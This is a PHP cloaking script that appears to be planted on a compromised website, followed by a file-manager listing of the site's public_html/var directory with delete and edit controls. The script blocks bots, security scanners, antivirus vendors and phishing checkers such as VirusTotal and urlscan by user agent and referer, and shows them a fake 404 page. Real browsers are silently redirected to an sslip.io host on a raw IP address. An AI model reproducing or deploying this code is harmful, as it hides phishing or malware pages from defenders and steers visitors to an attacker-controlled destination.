<?php
error_reporting(0);
@ini_set('display_errors','0');

$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
    $accept = strtolower($_SERVER['HTTP_ACCEPT']);

if (strpos($accept, 'text/html') === false && strpos($accept, '*/*') === false) {
        return false;
    }

$blocked = array(
        'curl','wget','python-requests','python-urllib','urllib',
        'httpclient','java/','libwww-perl','perl','php/','guzzlehttp',
        'okhttp','go-http-client','axios','node-fetch','undici',
        'aiohttp','httpx','scrapy','mechanize','beautifulsoup',
        'postmanruntime','insomnia','restsharp','httpie',
        'headlesschrome','phantomjs','slimerjs','selenium',
        'webdriver','puppeteer','playwright','cypress',
        'chromedriver','geckodriver','safaridriver',
        'electron','nightmare','casperjs','htmlunit',
        'googlebot','bingbot','slurp','duckduckbot','baiduspider',
        'yandexbot','sogou','exabot','facebot','ia_archiver',
        'applebot','petalbot','seznambot','qwantify',
        'ahrefsbot','semrushbot','mj12bot','dotbot','rogerbot',
        'blexbot','linkdexbot','sistrix','sitebulb','screaming frog',
        'serpstatbot','megaindex','dataforseobot',
        'facebookexternalhit','twitterbot','linkedinbot',
        'pinterestbot','slackbot','discordbot','telegrambot',
        'whatsapp','skypeuripreview','vkshare',
        'uptimerobot','pingdom','statuscake','datadog',
        'newrelicpinger','nagios','zabbix','masscan',
        'nmap','nikto','sqlmap','acunetix','nessus',
        'openvas','wpscan',
        'phishtank','safebrowsing','dnstwist','openphish','netcraft',
        'paloalto','barracuda','proofpoint','mimecast',
        'forcepoint','sophos','trendmicro','symantec','kaspersky',
        'avast','bitdefender','mcafee','fortinet','clamav','webroot',
        'ahnlab','crowdstrike','sentinelone',
        'virus','malware','phish','scanner',
        'feedfetcher','feedly','rssreader','archive.org_bot',
        'commoncrawl','ccbot','heritrix',
        'crawler','spider','scraper','bot'
    );
    foreach ($blocked as $b) {
        if (strpos($ua, $b) !== false) return false;
    }

$browsers = array('mozilla/','chrome/','safari/','firefox/','edg/','opr/','opera','msie','trident/');
    $ok = false;
    foreach ($browsers as $p) {
        if (strpos($ua, $p) !== false) { $ok = true; break; }
    }
    if (!$ok) return false;

$leaks = array('HTTP_X_SELENIUM','HTTP_X_PUPPETEER','HTTP_X_PLAYWRIGHT','HTTP_X_HEADLESS','HTTP_WEBDRIVER');
    foreach ($leaks as $h) {
        if (!empty($_SERVER[$h])) return false;
    }

return true;
}

function gp_check_referer()
{
    if (!isset($_SERVER['HTTP_REFERER'])) return true;
    $ref = strtolower($_SERVER['HTTP_REFERER']);
    $bad = array('urlscan.io','virustotal.com','phishtank.com','safebrowsing',
        'any.run','hybrid-analysis','joesandbox','triage','browserling',
        'wannabrowser','app.any.run','urlvoid.com','checkphish.ai');
    foreach ($bad as $s) {
        if (strpos($ref, $s) !== false) return false;
    }
    return true;
}

function gp_nf()
{
    usleep(mt_rand(10000, 80000));

$body =
        "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n" .
        "<html><head>\n" .
        "<title>404 Not Found</title>\n" .
        "</head><body>\n" .
        "<h1>Not Found</h1>\n" .
        "<p>The requested URL was not found on this server.</p>\n" .
        "</body></html>\n";

if (!headers_sent()) {
        if (function_exists('header_remove')) {
            header_remove();
        }
        $protocol = 'HTTP/1.1';
        if (isset($_SERVER['SERVER_PROTOCOL']) &&
            ($_SERVER['SERVER_PROTOCOL'] === 'HTTP/1.0' || $_SERVER['SERVER_PROTOCOL'] === 'HTTP/1.1')) {
            $protocol = $_SERVER['SERVER_PROTOCOL'];
        }
        header($protocol . ' 404 Not Found', true, 404);
        header('Content-Type: text/html; charset=iso-8859-1', true);
        header('Content-Length: ' . strlen($body), true);
    }

echo $body;
    exit;
}

if (!gp_is_real_browser()) gp_nf();
if (!gp_check_referer()) gp_nf();

$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$path = parse_url($uri, PHP_URL_PATH);
if (!is_string($path)) { $path = ''; }
$path = trim($path, '/');
if ($path === '' || $path === basename(__DIR__)) gp_nf();

$parts = explode('/', $path);
$filtered = array();
for ($i = 0; $i < count($parts); $i++) {
    if ($parts[$i] !== '') { $filtered[] = $parts[$i]; }
}
if (count($filtered) < 1) gp_nf();
$slug = $filtered[count($filtered) - 1];
if (!preg_match('/^[A-Za-z0-9_-]{3,64}$/', $slug)) gp_nf();

$loc = 'https://origin.cdn.216.194.164.98.sslip.io/' . $slug;

usleep(mt_rand(10000, 80000));

header('Location: ' . $loc, true, 302);
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');
header('X-Robots-Tag: noindex, nofollow, noarchive');
header('X-Content-Type-Options: nosniff');
header('Referrer-Policy: no-referrer');
exit;

/home/tns/public_html/var

Name	Size	Perms	Actions
../	-	0755	Del
.htaccess	42796	0775	Del \| Edit
cache/	-	0775	Del
conf/	-	0775	Del
database/	-	0775	Del
downloads/	-	0775	Del
files/	-	0775	Del
index.php	5337	0775	Del \| Edit
install.log	2738	0775	Del \| Edit
langs/	-	0775	Del
snapshots/	-	0775	Del
store_import/	-	0775	Del
themes_repository/	-	0775	Del
twigmo/	-	0775	Del
upgrade/	-	0777	Del
www/	-	0755	Del